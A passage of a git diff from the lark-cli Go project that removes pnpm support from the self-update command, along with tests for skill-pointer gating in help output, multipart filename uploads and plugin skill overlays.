-	cmdmeta.SetSource(bare, cmdmeta.SourceShortcut, false)
-	cmdmeta.SetAffordanceRef(bare, "calendar", "+bare")
-	if PrepareShortcutHelp(bare, nil) {
-		t.Error("PrepareShortcutHelp should return false when the shortcut has no overlay")
-	}
-
-	// Non-shortcut source is ignored even with a ref.
-	notSc := &cobra.Command{Use: "create", Short: "x"}
-	cmdmeta.SetAffordanceRef(notSc, "calendar", "+create")
-	if PrepareShortcutHelp(notSc, nil) {
-		t.Error("PrepareShortcutHelp should return false for a non-shortcut command")
-	}
-}
-
-// Related-skill pointers are gated on existence: a skill that resolves in the
-// skill FS renders, a typo is dropped (never print an unopenable `skills read`),
-// and a nil skill FS suppresses the whole block.
-func TestRelatedSkillsStatGating(t *testing.T) {
-	orig := affordanceLookup
-	t.Cleanup(func() { affordanceLookup = orig })
-	affordanceLookup = func(_, _ string) (json.RawMessage, bool) {
-		return json.RawMessage(`{"use_when":["x"],"skills":["lark-real","lark-typo","lark-real/references/deep.md","lark-real/references/missing.md"]}`), true
-	}
-	skillFS := fstest.MapFS{
-		"lark-real/SKILL.md":           {Data: []byte("# real")},
-		"lark-real/references/deep.md": {Data: []byte("# deep")},
-	}
-
-	f, _, _, _ := cmdutil.TestFactory(t, testConfig)
-	m := map[string]interface{}{"id": "messages.create", "path": "messages", "httpMethod": "POST", "description": "d"}
-
-	cmd := NewCmdServiceMethod(f, imSpec(), meta.FromMap(m), "create", "messages", nil)
-	if !PrepareMethodHelp(cmd, skillFS) {
-		t.Fatal("PrepareMethodHelp returned false")
-	}
-	if !strings.Contains(cmd.Long, "skills read lark-real\n") {
-		t.Errorf("existing bare-name skill should render on its own line; got:\n%s", cmd.Long)
-	}
-	if strings.Contains(cmd.Long, "lark-typo") {
-		t.Errorf("nonexistent skill must be dropped, not printed as an unopenable pointer; got:\n%s", cmd.Long)
-	}
-	// A name/relpath reference to an existing file renders; a missing one drops.
-	if !strings.Contains(cmd.Long, "skills read lark-real/references/deep.md") {
-		t.Errorf("existing reference entry should render; got:\n%s", cmd.Long)
-	}
-	if strings.Contains(cmd.Long, "references/missing.md") {
-		t.Errorf("nonexistent reference must be dropped; got:\n%s", cmd.Long)
-	}
-
-	// nil skill FS: the whole Related-skills block is suppressed.
-	bare := NewCmdServiceMethod(f, imSpec(), meta.FromMap(m), "create", "messages", nil)
-	PrepareMethodHelp(bare, nil)
-	if strings.Contains(bare.Long, "Related skills") {
-		t.Errorf("nil skillFS should suppress the skills block; got:\n%s", bare.Long)
-	}
-}
-
-// A shortcut that set a hand-authored Long (as the docs shortcuts do in
-// PostMount) keeps it as the lead: the affordance block is appended below, not
-// clobbered, and re-rendering does not double-append.
-func TestPrepareShortcutHelp_PreservesPostMountLong(t *testing.T) {
-	orig := affordanceLookup
-	t.Cleanup(func() { affordanceLookup = orig })
-	affordanceLookup = func(_, _ string) (json.RawMessage, bool) {
-		return json.RawMessage(`{"use_when":["高层创建日程"]}`), true
-	}
-
-	const authored = "Custom docs help. AI agents MUST read the skill first."
-	sc := &cobra.Command{Use: "+create", Short: "Create", Long: authored}
-	cmdmeta.SetSource(sc, cmdmeta.SourceShortcut, false)
-	cmdmeta.SetAffordanceRef(sc, "calendar", "+create")
-
-	if !PrepareShortcutHelp(sc, nil) {
-		t.Fatal("PrepareShortcutHelp returned false for a shortcut with an overlay")
-	}
-	if !strings.HasPrefix(sc.Long, authored) {
-		t.Errorf("hand-authored Long must lead, not be clobbered; got:\n%s", sc.Long)
-	}
-	if !strings.Contains(sc.Long, "When to use:") {
-		t.Errorf("affordance block should be appended below the base; got:\n%s", sc.Long)
-	}
-	// Re-render must reuse the captured base, not append the block twice.
-	PrepareShortcutHelp(sc, nil)
-	if n := strings.Count(sc.Long, "When to use:"); n != 1 {
-		t.Errorf("affordance appended %d times across re-renders, want 1:\n%s", n, sc.Long)
-	}
-}
-
 // domainCmd wires a domain-tagged command with a subcommand under a root, the
 // shape PrepareDomainHelp expects.
 func domainCmd(short, long string) *cobra.Command {
@@ -297,26 +174,6 @@ func TestPrepareDomainHelp_PreservesHandAuthoredLong(t *testing.T) {
 }
 
 // A service domain carries only a Short at help time; it seeds the base.
-// The domain-guide pointer is likewise gated: removing the domain's skill
-// drops the pointer instead of leaving it dangling.
-func TestPrepareDomainHelp_GatesGuidePointerOnFS(t *testing.T) {
-	present := domainCmd("Consume and manage real-time events", "")
-	if !PrepareDomainHelp(present, fstest.MapFS{"lark-event/SKILL.md": &fstest.MapFile{Data: []byte("x")}}) {
-		t.Fatal("PrepareDomainHelp returned false for a domain-tagged command")
-	}
-	if !strings.Contains(present.Long, "lark-cli skills read lark-event") {
-		t.Errorf("skill present should emit the domain-guide pointer; got:\n%s", present.Long)
-	}
-
-	removed := domainCmd("Consume and manage real-time events", "")
-	if !PrepareDomainHelp(removed, fstest.MapFS{}) {
-		t.Fatal("PrepareDomainHelp returned false for a domain-tagged command")
-	}
-	if strings.Contains(removed.Long, "skills read lark-event") {
-		t.Errorf("removed skill must leave no domain-guide pointer; got:\n%s", removed.Long)
-	}
-}
-
 func TestPrepareDomainHelp_FallsBackToShort(t *testing.T) {
 	dom := domainCmd("Message and group chat management", "")
 	if !PrepareDomainHelp(dom, nil) {

cmd/service/service_test.go

@@ -4,14 +4,10 @@
 package service
 
 import (
-	"bytes"
 	"context"
 	"encoding/json"
 	"errors"
-	"mime"
-	"mime/multipart"
 	"os"
-	"path/filepath"
 	"strings"
 	"testing"
 
@@ -1136,63 +1132,6 @@ func TestDetectFileFields(t *testing.T) {
 	}
 }
 
-// parseMultipartFilenames drives one service-method --file upload through the
-// mock transport and returns a map of field name -> part filename parsed from
-// the captured multipart body. Mirrors cmd/api's helper of the same name
-// (inlined here rather than shared, since the two live in different packages)
-// to give BuildFormdata's shared local-file fix a second real entry-point
-// covering it.
-func parseMultipartFilenames(t *testing.T, stub *httpmock.Stub) map[string]string {
-	t.Helper()
-	ct := stub.CapturedHeaders.Get("Content-Type")
-	mediaType, params, err := mime.ParseMediaType(ct)
-	if err != nil {
-		t.Fatalf("parse Content-Type %q: %v", ct, err)
-	}
-	if !strings.HasPrefix(mediaType, "multipart/") {
-		t.Fatalf("Content-Type = %q, want multipart/*", mediaType)
-	}
-	filenames := map[string]string{}
-	mr := multipart.NewReader(bytes.NewReader(stub.CapturedBody), params["boundary"])
-	for {
-		part, err := mr.NextPart()
-		if err != nil {
-			break
-		}
-		if fn := part.FileName(); fn != "" {
-			filenames[part.FormName()] = fn
-		}
-	}
-	return filenames
-}
-
-func TestServiceMethod_FileUpload_PreservesFilename(t *testing.T) {
-	f, _, _, reg := cmdutil.TestFactory(t, testConfig)
-
-	dir := t.TempDir()
-	cmdutil.TestChdir(t, dir)
-	if err := os.WriteFile(filepath.Join(dir, "photo.jpg"), []byte("fake-image"), 0600); err != nil {
-		t.Fatalf("write test file: %v", err)
-	}
-
-	stub := &httpmock.Stub{
-		URL:  "/open-apis/im/v1/images",
-		Body: map[string]interface{}{"code": 0, "msg": "ok", "data": map[string]interface{}{"image_key": "img_xxx"}},
-	}
-	reg.Register(stub)
-
-	cmd := NewCmdServiceMethod(f, imSpec(), imImageMethod(), "create", "images", nil)
-	cmd.SetArgs([]string{"--file", "photo.jpg", "--data", `{"image_type":"message"}`, "--as", "bot"})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-
-	filenames := parseMultipartFilenames(t, stub)
-	if got := filenames["image"]; got != "photo.jpg" {
-		t.Fatalf("part filename for field %q = %q, want %q", "image", got, "photo.jpg")
-	}
-}
-
 func TestServiceMethod_JsonFlag_Accepted(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, testConfig)
 

cmd/skill_customization_test.go

@@ -1,227 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package cmd
-
-import (
-	"context"
-	"errors"
-	"strings"
-	"testing"
-	"testing/fstest"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/extension/platform"
-	"github.com/larksuite/cli/internal/policystate"
-	"github.com/larksuite/cli/internal/skillcontent"
-)
-
-// withBaseSkills swaps the process-global embedded skill tree for the
-// duration of a test, restoring it afterward.
-func withBaseSkills(t *testing.T, files map[string]string) {
-	t.Helper()
-	base := fstest.MapFS{}
-	for p, content := range files {
-		base[p] = &fstest.MapFile{Data: []byte(content)}
-	}
-	saved := embeddedSkillContent
-	t.Cleanup(func() { embeddedSkillContent = saved })
-	embeddedSkillContent = base
-}
-
-// A plugin's SkillsOverlay must reshape the tree the factory serves: skills
-// list/read read f.SkillContent, so a resolved removal/overlay shows up here.
-// (The --help pointers are gated on the same f.SkillContent; that gating is
-// covered by the PrepareDomainHelp/PrepareMethodHelp tests in cmd/service.)
-func TestBuildInternal_appliesPluginSkillsOverlay(t *testing.T) {
-	tmpHome(t)
-	platform.ResetForTesting()
-	t.Cleanup(platform.ResetForTesting)
-
-	withBaseSkills(t, map[string]string{
-		"lark-a/SKILL.md":      "---\ndescription: a\n---\n",
-		"lark-b/SKILL.md":      "---\ndescription: b\n---\n",
-		"lark-shared/SKILL.md": "---\ndescription: shared\n---\n",
-	})
-
-	overlay := fstest.MapFS{
-		"lark-new/SKILL.md": &fstest.MapFile{Data: []byte("---\ndescription: new\n---\n")},
-	}
-	platform.Register(platform.NewPlugin("acme", "1.0").
-		EmbeddedSkills(&platform.SkillsOverlay{
-			Remove:  []string{"lark-shared"},
-			Overlay: overlay,
-		}).MustBuild())
-
-	f, _, _ := buildInternal(context.Background(), buildInvocationForTest(t))
-	if f.SkillContent == nil {
-		t.Fatal("f.SkillContent is nil after skill resolution")
-	}
-
-	skills, err := skillcontent.New(f.SkillContent).List()
-	if err != nil {
-		t.Fatalf("List: %v", err)
-	}
-	var names []string
-	for _, s := range skills {
-		names = append(names, s.Name)
-	}
-	if got := strings.Join(names, ","); got != "lark-a,lark-b,lark-new" {
-		t.Errorf("skills = %q, want lark-a,lark-b,lark-new (shared removed, new added)", got)
-	}
-}
-
-// Two plugins each customizing skills must abort at dispatch with a
-// structured envelope carrying reason_code multiple_skills_overlay_plugins, not
-// silently fall back to the default tree.
-func TestBuildInternal_multipleSkillPluginsGuard(t *testing.T) {
-	tmpHome(t)
-	platform.ResetForTesting()
-	t.Cleanup(platform.ResetForTesting)
-
-	withBaseSkills(t, map[string]string{"lark-a/SKILL.md": "---\ndescription: a\n---\n"})
-
-	platform.Register(platform.NewPlugin("acme", "1.0").
-		EmbeddedSkills(&platform.SkillsOverlay{Remove: []string{"lark-a"}}).MustBuild())
-	platform.Register(platform.NewPlugin("globex", "1.0").
-		EmbeddedSkills(&platform.SkillsOverlay{Remove: []string{"lark-a"}}).MustBuild())
-
-	_, root, reg := buildInternal(context.Background(), buildInvocationForTest(t))
-	if reg != nil {
-		t.Errorf("skill conflict guard path should yield nil registry")
-	}
-
-	leaf := findRunnableLeaf(root)
-	if leaf == nil {
-		t.Fatal("no runnable leaf in command tree")
-	}
-	err := leaf.RunE(leaf, nil)
-	var verr *errs.ValidationError
-	if !errors.As(err, &verr) {
-		t.Fatalf("expected *errs.ValidationError, got %T %+v", err, err)
-	}
-	if verr.Subtype != errs.SubtypeFailedPrecondition {
-		t.Errorf("subtype = %q, want failed_precondition", verr.Subtype)
-	}
-	if !strings.Contains(verr.Hint, "multiple_skills_overlay_plugins") {
-		t.Errorf("hint should surface reason_code multiple_skills_overlay_plugins, got %q", verr.Hint)
-	}
-}
-
-// Allow keeps only the listed skills from the base — a CLI upgrade adding
-// new embedded skills cannot widen an allow-listed build.
-func TestBuildInternal_appliesAllowList(t *testing.T) {
-	tmpHome(t)
-	platform.ResetForTesting()
-	t.Cleanup(platform.ResetForTesting)
-	t.Cleanup(func() { policystate.ResetForTesting() })
-
-	withBaseSkills(t, map[string]string{
-		"lark-a/SKILL.md": "---\ndescription: a\n---\n",
-		"lark-b/SKILL.md": "---\ndescription: b\n---\n",
-		"lark-c/SKILL.md": "---\ndescription: c\n---\n",
-	})
-	platform.Register(platform.NewPlugin("acme", "1.0").
-		EmbeddedSkills(&platform.SkillsOverlay{Allow: []string{"lark-a", "lark-c"}}).
-		MustBuild())
-
-	f, _, _ := buildInternal(context.Background(), buildInvocationForTest(t))
-	skills, err := skillcontent.New(f.SkillContent).List()
-	if err != nil {
-		t.Fatalf("List: %v", err)
-	}
-	var names []string
-	for _, s := range skills {
-		names = append(names, s.Name)
-	}
-	if got := strings.Join(names, ","); got != "lark-a,lark-c" {
-		t.Errorf("skills = %q, want lark-a,lark-c (allow-list)", got)
-	}
-}
-
-// A plugin whose SkillsOverlay cannot compose (Remove naming a skill absent
-// from the base) must abort with reason_code invalid_skills_overlay.
-func TestBuildInternal_invalidSkillsOverlayGuard(t *testing.T) {
-	tmpHome(t)
-	platform.ResetForTesting()
-	t.Cleanup(platform.ResetForTesting)
-
-	withBaseSkills(t, map[string]string{"lark-a/SKILL.md": "---\ndescription: a\n---\n"})
-
-	platform.Register(platform.NewPlugin("acme", "1.0").
-		EmbeddedSkills(&platform.SkillsOverlay{Remove: []string{"lark-does-not-exist"}}).MustBuild())
-
-	_, root, _ := buildInternal(context.Background(), buildInvocationForTest(t))
-	leaf := findRunnableLeaf(root)
-	if leaf == nil {
-		t.Fatal("no runnable leaf in command tree")
-	}
-	err := leaf.RunE(leaf, nil)
-	var verr *errs.ValidationError
-	if !errors.As(err, &verr) {
-		t.Fatalf("expected *errs.ValidationError, got %T %+v", err, err)
-	}
-	if verr.Subtype != errs.SubtypeFailedPrecondition {
-		t.Errorf("subtype = %q, want failed_precondition", verr.Subtype)
-	}
-	if !strings.Contains(verr.Hint, "invalid_skills_overlay") {
-		t.Errorf("hint should surface reason_code invalid_skills_overlay, got %q", verr.Hint)
-	}
-}
-
-// WithEmbeddedSkills customizes skills for a caller that builds the tree directly
-// (no plugin) — the build-option analogue of a plugin's EmbeddedSkills(...).
-func TestBuildInternal_withSkillsOption(t *testing.T) {
-	tmpHome(t)
-	platform.ResetForTesting()
-	t.Cleanup(platform.ResetForTesting)
-
-	withBaseSkills(t, map[string]string{
-		"lark-a/SKILL.md":      "---\ndescription: a\n---\n",
-		"lark-shared/SKILL.md": "---\ndescription: shared\n---\n",
-	})
-
-	f, _, _ := buildInternal(context.Background(), buildInvocationForTest(t),
-		WithEmbeddedSkills(&platform.SkillsOverlay{Remove: []string{"lark-shared"}}))
-	skills, err := skillcontent.New(f.SkillContent).List()
-	if err != nil {
-		t.Fatalf("List: %v", err)
-	}
-	var names []string
-	for _, s := range skills {
-		names = append(names, s.Name)
-	}
-	if got := strings.Join(names, ","); got != "lark-a" {
-		t.Errorf("skills = %q, want lark-a (shared removed via WithEmbeddedSkills)", got)
-	}
-}
-
-// WithEmbeddedSkills and a plugin's EmbeddedSkills() are two owners of skill content; the
-// single-owner rule aborts startup.
-func TestBuildInternal_withSkillsPlusPluginConflicts(t *testing.T) {
-	tmpHome(t)
-	platform.ResetForTesting()
-	t.Cleanup(platform.ResetForTesting)
-
-	withBaseSkills(t, map[string]string{"lark-a/SKILL.md": "---\ndescription: a\n---\n"})
-	platform.Register(platform.NewPlugin("acme", "1.0").
-		EmbeddedSkills(&platform.SkillsOverlay{Remove: []string{"lark-a"}}).MustBuild())
-
-	_, root, _ := buildInternal(context.Background(), buildInvocationForTest(t),
-		WithEmbeddedSkills(&platform.SkillsOverlay{Remove: []string{"lark-a"}}))
-	leaf := findRunnableLeaf(root)
-	if leaf == nil {
-		t.Fatal("no runnable leaf in command tree")
-	}
-	err := leaf.RunE(leaf, nil)
-	var verr *errs.ValidationError
-	if !errors.As(err, &verr) {
-		t.Fatalf("expected *errs.ValidationError, got %T %+v", err, err)
-	}
-	if verr.Subtype != errs.SubtypeFailedPrecondition {
-		t.Errorf("subtype = %q, want failed_precondition", verr.Subtype)
-	}
-	if !strings.Contains(verr.Hint, "multiple_skills_overlay_plugins") {
-		t.Errorf("WithEmbeddedSkills + plugin should conflict; hint = %q", verr.Hint)
-	}
-}

cmd/update/update.go

@@ -102,8 +102,7 @@ func NewCmdUpdate(f *cmdutil.Factory) *cobra.Command {
 		Long: `Update lark-cli to the latest version.
 
 Detects the installation method automatically:
-  - npm install:  runs npm install -g @larksuite/cli@<version>
-  - pnpm install: runs pnpm add -g @larksuite/cli@<version>
+  - npm install: runs npm install -g @larksuite/cli@<version>
   - manual/other: shows GitHub Releases download URL
 
 Use --json for structured output (for AI agents and scripts).
@@ -165,7 +164,7 @@ func updateRun(opts *UpdateOptions) error {
 	if !detect.CanAutoUpdate() {
 		return doManualUpdate(opts, io, cur, latest, detect, updater)
 	}
-	return doAutoUpdate(opts, io, cur, latest, detect, updater)
+	return doNpmUpdate(opts, io, cur, latest, updater)
 }
 
 // --- Output helpers ---
@@ -227,23 +226,12 @@ func doManualUpdate(opts *UpdateOptions, io *cmdutil.IOStreams, cur, latest stri
 	fmt.Fprintf(io.ErrOut, "To update manually, download the latest release:\n")
 	fmt.Fprintf(io.ErrOut, "  Release:   %s\n", releaseURL(latest))
 	fmt.Fprintf(io.ErrOut, "  Changelog: %s\n", changelogURL())
-	if detect.Method == selfupdate.InstallPnpm {
-		fmt.Fprintf(io.ErrOut, "\nOr install via pnpm (note: skills will not be synced):\n  pnpm add -g %s@%s\n  pnpm dlx skills add larksuite/cli -y -g   # sync skills separately\n", selfupdate.NpmPackage, latest)
-	} else {
-		fmt.Fprintf(io.ErrOut, "\nOr install via npm (note: skills will not be synced):\n  npm install -g %s@%s\n  npx skills add larksuite/cli -y -g   # sync skills separately\n", selfupdate.NpmPackage, latest)
-	}
+	fmt.Fprintf(io.ErrOut, "\nOr install via npm (note: skills will not be synced):\n  npm install -g %s@%s\n  npx skills add larksuite/cli -y -g   # sync skills separately\n", selfupdate.NpmPackage, latest)
 	emitSkillsTextHints(io, skillsResult)
 	return nil
 }
 
-func doAutoUpdate(opts *UpdateOptions, io *cmdutil.IOStreams, cur, latest string, detect selfupdate.DetectResult, updater *selfupdate.Updater) error {
-	pm := "npm"
-	install := updater.RunNpmInstall
-	if detect.Method == selfupdate.InstallPnpm {
-		pm = "pnpm"
-		install = updater.RunPnpmInstall
-	}
-
+func doNpmUpdate(opts *UpdateOptions, io *cmdutil.IOStreams, cur, latest string, updater *selfupdate.Updater) error {
 	restore, err := updater.PrepareSelfReplace()
 	if err != nil {
 		return reportError(opts, io, "update_error",
@@ -251,19 +239,19 @@ func doAutoUpdate(opts *UpdateOptions, io *cmdutil.IOStreams, cur, latest string
 	}
 
 	if !opts.JSON {
-		fmt.Fprintf(io.ErrOut, "Updating lark-cli %s %s %s via %s ...\n", cur, symArrow(), latest, pm)
+		fmt.Fprintf(io.ErrOut, "Updating lark-cli %s %s %s via npm ...\n", cur, symArrow(), latest)
 	}
 
-	npmResult := install(latest)
+	npmResult := updater.RunNpmInstall(latest)
 	if npmResult.Err != nil {
 		restore()
 		combined := npmResult.CombinedOutput()
 		if opts.JSON {
 			output.PrintJson(io.Out, map[string]interface{}{
 				"ok": false, "error": map[string]interface{}{
-					"type": "update_error", "message": fmt.Sprintf("%s install failed: %s", pm, npmResult.Err),
+					"type": "update_error", "message": fmt.Sprintf("npm install failed: %s", npmResult.Err),
 					"detail": selfupdate.Truncate(combined, maxNpmOutput),
-					"hint":   permissionHint(combined, pm),
+					"hint":   permissionHint(combined),
 				},
 			})
 			return output.ErrBare(output.ExitAPI)
@@ -275,7 +263,7 @@ func doAutoUpdate(opts *UpdateOptions, io *cmdutil.IOStreams, cur, latest string
 			fmt.Fprint(io.ErrOut, npmResult.Stderr.String())
 		}
 		fmt.Fprintf(io.ErrOut, "\n%s Update failed: %s\n", symFail(), npmResult.Err)
-		if hint := permissionHint(combined, pm); hint != "" {
+		if hint := permissionHint(combined); hint != "" {
 			fmt.Fprintf(io.ErrOut, "  %s\n", hint)
 		}
 		return output.ErrBare(output.ExitAPI)
@@ -286,7 +274,7 @@ func doAutoUpdate(opts *UpdateOptions, io *cmdutil.IOStreams, cur, latest string
 	if err := updater.VerifyBinary(latest); err != nil {
 		restore()
 		msg := fmt.Sprintf("new binary verification failed: %s", err)
-		hint := verificationFailureHint(updater, latest, pm)
+		hint := verificationFailureHint(updater, latest)
 		if opts.JSON {
 			output.PrintJson(io.Out, map[string]interface{}{
 				"ok":    false,
@@ -316,33 +304,23 @@ func doAutoUpdate(opts *UpdateOptions, io *cmdutil.IOStreams, cur, latest string
 	fmt.Fprintf(io.ErrOut, "\n%s Successfully updated lark-cli from %s to %s\n", symOK(), cur, latest)
 	fmt.Fprintf(io.ErrOut, "  Changelog: %s\n", changelogURL())
 	if skillsResult != nil {
-		skillsPM := "npx"
-		if detect.Method == selfupdate.InstallPnpm && detect.PnpmAvailable {
-			skillsPM = "pnpm dlx"
-		}
-		fmt.Fprintf(io.ErrOut, "\nUpdating skills via %s ...\n", skillsPM)
+		fmt.Fprintf(io.ErrOut, "\nUpdating skills ...\n")
 	}
 	emitSkillsTextHints(io, skillsResult)
 	return nil
 }
 
-func permissionHint(pmOutput, pm string) string {
-	if !strings.Contains(pmOutput, "EACCES") || isWindows() {
-		return ""
+func permissionHint(npmOutput string) string {
+	if strings.Contains(npmOutput, "EACCES") && !isWindows() {
+		return "Permission denied. Try: sudo lark-cli update, or adjust your npm global prefix: https://docs.npmjs.com/resolving-eacces-permissions-errors"
 	}
-	if pm == "pnpm" {
-		return "Permission denied. Ensure your pnpm global directory is writable — re-run `pnpm setup`, or see https://pnpm.io/pnpm-cli"
-	}
-	return "Permission denied. Try: sudo lark-cli update, or adjust your npm global prefix: https://docs.npmjs.com/resolving-eacces-permissions-errors"
+	return ""
 }
 
-func verificationFailureHint(updater *selfupdate.Updater, latest, pm string) string {
+func verificationFailureHint(updater *selfupdate.Updater, latest string) string {
 	if updater.CanRestorePreviousVersion() {
 		return "the previous version has been restored"
 	}
-	if pm == "pnpm" {
-		return fmt.Sprintf("automatic rollback is unavailable on this platform; reinstall manually (skills will not be synced): pnpm add -g %s@%s && pnpm dlx skills add larksuite/cli -y -g, or download %s", selfupdate.NpmPackage, latest, releaseURL(latest))
-	}
 	return fmt.Sprintf("automatic rollback is unavailable on this platform; reinstall manually (skills will not be synced): npm install -g %s@%s && npx skills add larksuite/cli -y -g, or download %s", selfupdate.NpmPackage, latest, releaseURL(latest))
 }
 

cmd/update/update_test.go

@@ -57,27 +57,6 @@ func mockDetectAndNpm(t *testing.T, result selfupdate.DetectResult, npmFn func(s
 	t.Cleanup(func() { newUpdater = origNew })
 }
 
-// mockDetectAndPnpm mirrors mockDetectAndNpm but wires the pnpm install path
-// and fails the test if the npm install path is invoked.
-func mockDetectAndPnpm(t *testing.T, result selfupdate.DetectResult, pnpmFn func(string) *selfupdate.NpmResult) {
-	t.Helper()
-	origNew := newUpdater
-	newUpdater = func() *selfupdate.Updater {
-		u := selfupdate.New()
-		u.DetectOverride = func() selfupdate.DetectResult { return result }
-		u.PnpmInstallOverride = pnpmFn
-		u.NpmInstallOverride = func(string) *selfupdate.NpmResult {
-			t.Errorf("npm install must not be called for a pnpm install")
-			return &selfupdate.NpmResult{}
-		}
-		u.VerifyOverride = func(string) error { return nil }
-		u.SkillsIndexFetchOverride = successfulSkillsIndexFetch()
-		u.SkillsCommandOverride = successfulSkillsCommand()
-		return u
-	}
-	t.Cleanup(func() { newUpdater = origNew })
-}
-
 func successfulSkillsIndexFetch() func() *selfupdate.NpmResult {
 	return func() *selfupdate.NpmResult {
 		r := &selfupdate.NpmResult{}
@@ -102,110 +81,6 @@ func successfulSkillsCommand() func(args ...string) *selfupdate.NpmResult {
 	}
 }
 
-func TestUpdatePnpm_JSON(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-	f, stdout, _ := newTestFactory(t)
-	cmd := NewCmdUpdate(f)
-	cmd.SetArgs([]string{"--json"})
-	origFetch := fetchLatest
-	fetchLatest = func() (string, error) { return "2.0.0", nil }
-	defer func() { fetchLatest = origFetch }()
-	origVersion := currentVersion
-	currentVersion = func() string { return "1.0.0" }
-	defer func() { currentVersion = origVersion }()
-	mockDetectAndPnpm(t,
-		selfupdate.DetectResult{Method: selfupdate.InstallPnpm, ResolvedPath: "/x/node_modules/.pnpm/@larksuite+cli@1.0.0/node_modules/@larksuite/cli/bin/lark-cli", PnpmAvailable: true},
-		func(string) *selfupdate.NpmResult { return &selfupdate.NpmResult{} },
-	)
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-	if out := stdout.String(); !strings.Contains(out, `"action": "updated"`) {
-		t.Errorf("expected updated in output, got: %s", out)
-	}
-}
-
-func TestUpdatePnpm_Human(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-	f, _, stderr := newTestFactory(t)
-	cmd := NewCmdUpdate(f)
-	cmd.SetArgs([]string{})
-	origFetch := fetchLatest
-	fetchLatest = func() (string, error) { return "2.0.0", nil }
-	defer func() { fetchLatest = origFetch }()
-	origVersion := currentVersion
-	currentVersion = func() string { return "1.0.0" }
-	defer func() { currentVersion = origVersion }()
-	mockDetectAndPnpm(t,
-		selfupdate.DetectResult{Method: selfupdate.InstallPnpm, ResolvedPath: "/x/node_modules/.pnpm/@larksuite+cli@1.0.0/node_modules/@larksuite/cli/bin/lark-cli", PnpmAvailable: true},
-		func(string) *selfupdate.NpmResult { return &selfupdate.NpmResult{} },
-	)
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-	out := stderr.String()
-	if !strings.Contains(out, "via pnpm") {
-		t.Errorf("expected 'via pnpm' in stderr, got: %s", out)
-	}
-	if !strings.Contains(out, "Updating skills via pnpm dlx ...") {
-		t.Errorf("expected skills sync to report pnpm dlx launcher, got: %s", out)
-	}
-	if !strings.Contains(out, "Successfully updated") {
-		t.Errorf("expected success message, got: %s", out)
-	}
-}
-
-func TestUpdatePnpm_InstallError_JSON(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-	f, stdout, _ := newTestFactory(t)
-	cmd := NewCmdUpdate(f)
-	cmd.SetArgs([]string{"--json"})
-	origFetch := fetchLatest
-	fetchLatest = func() (string, error) { return "2.0.0", nil }
-	defer func() { fetchLatest = origFetch }()
-	origVersion := currentVersion
-	currentVersion = func() string { return "1.0.0" }
-	defer func() { currentVersion = origVersion }()
-	mockDetectAndPnpm(t,
-		selfupdate.DetectResult{Method: selfupdate.InstallPnpm, ResolvedPath: "/x/node_modules/.pnpm/@larksuite+cli@1.0.0/node_modules/@larksuite/cli/bin/lark-cli", PnpmAvailable: true},
-		func(string) *selfupdate.NpmResult { return &selfupdate.NpmResult{Err: errors.New("pnpm boom")} },
-	)
-	err := cmd.Execute()
-	if err == nil {
-		t.Fatal("expected error exit")
-	}
-	if out := stdout.String(); !strings.Contains(out, `"ok": false`) || !strings.Contains(out, "update_error") {
-		t.Errorf("expected failure envelope, got: %s", out)
-	}
-	if out := stdout.String(); !strings.Contains(out, "pnpm install failed") {
-		t.Errorf("expected message to report pnpm as the package manager, got: %s", out)
-	}
-}
-
-func TestUpdatePnpm_Unavailable_ManualFallback(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-	f, _, stderr := newTestFactory(t)
-	cmd := NewCmdUpdate(f)
-	cmd.SetArgs([]string{})
-	origFetch := fetchLatest
-	fetchLatest = func() (string, error) { return "2.0.0", nil }
-	defer func() { fetchLatest = origFetch }()
-	origVersion := currentVersion
-	currentVersion = func() string { return "1.0.0" }
-	defer func() { currentVersion = origVersion }()
-	mockDetect(t, selfupdate.DetectResult{Method: selfupdate.InstallPnpm, ResolvedPath: "/x/node_modules/.pnpm/@larksuite+cli@1.0.0/node_modules/@larksuite/cli/bin/lark-cli", PnpmAvailable: false})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-	out := stderr.String()
-	if !strings.Contains(out, "installed via pnpm, but pnpm is not available in PATH") {
-		t.Errorf("expected pnpm manual reason, got: %s", out)
-	}
-	if !strings.Contains(out, "pnpm add -g") {
-		t.Errorf("expected pnpm add -g hint, got: %s", out)
-	}
-}
-
 func TestNormalizeVersion(t *testing.T) {
 	tests := []struct {
 		input string
@@ -391,9 +266,6 @@ func TestUpdateNpm_Human(t *testing.T) {
 	if !strings.Contains(out, "Successfully updated") {
 		t.Errorf("expected success message in stderr, got: %s", out)
 	}
-	if !strings.Contains(out, "Updating skills via npx ...") {
-		t.Errorf("expected skills sync to report npx launcher for npm install, got: %s", out)
-	}
 }
 
 func TestUpdateForce_JSON(t *testing.T) {
@@ -867,9 +739,9 @@ func TestPermissionHint(t *testing.T) {
 	origOS := currentOS
 	defer func() { currentOS = origOS }()
 
-	// Linux + npm: EACCES should produce a hint with npm prefix guidance.
+	// Linux: EACCES should produce a hint with npm prefix guidance.
 	currentOS = "linux"
-	hint := permissionHint("EACCES: permission denied, access '/usr/local/lib'", "npm")
+	hint := permissionHint("EACCES: permission denied, access '/usr/local/lib'")
 	if !strings.Contains(hint, "npm global prefix") {
 		t.Errorf("expected npm prefix hint on linux, got: %s", hint)
 	}
@@ -877,25 +749,16 @@ func TestPermissionHint(t *testing.T) {
 		t.Errorf("should not suggest raw sudo npm install, got: %s", hint)
 	}
 
-	// Linux + pnpm: EACCES should point at pnpm setup, not npm prefix/sudo.
-	pnpmHint := permissionHint("EACCES: permission denied, access '/Users/x/Library/pnpm'", "pnpm")
-	if !strings.Contains(pnpmHint, "pnpm setup") {
-		t.Errorf("expected pnpm setup hint, got: %s", pnpmHint)
-	}
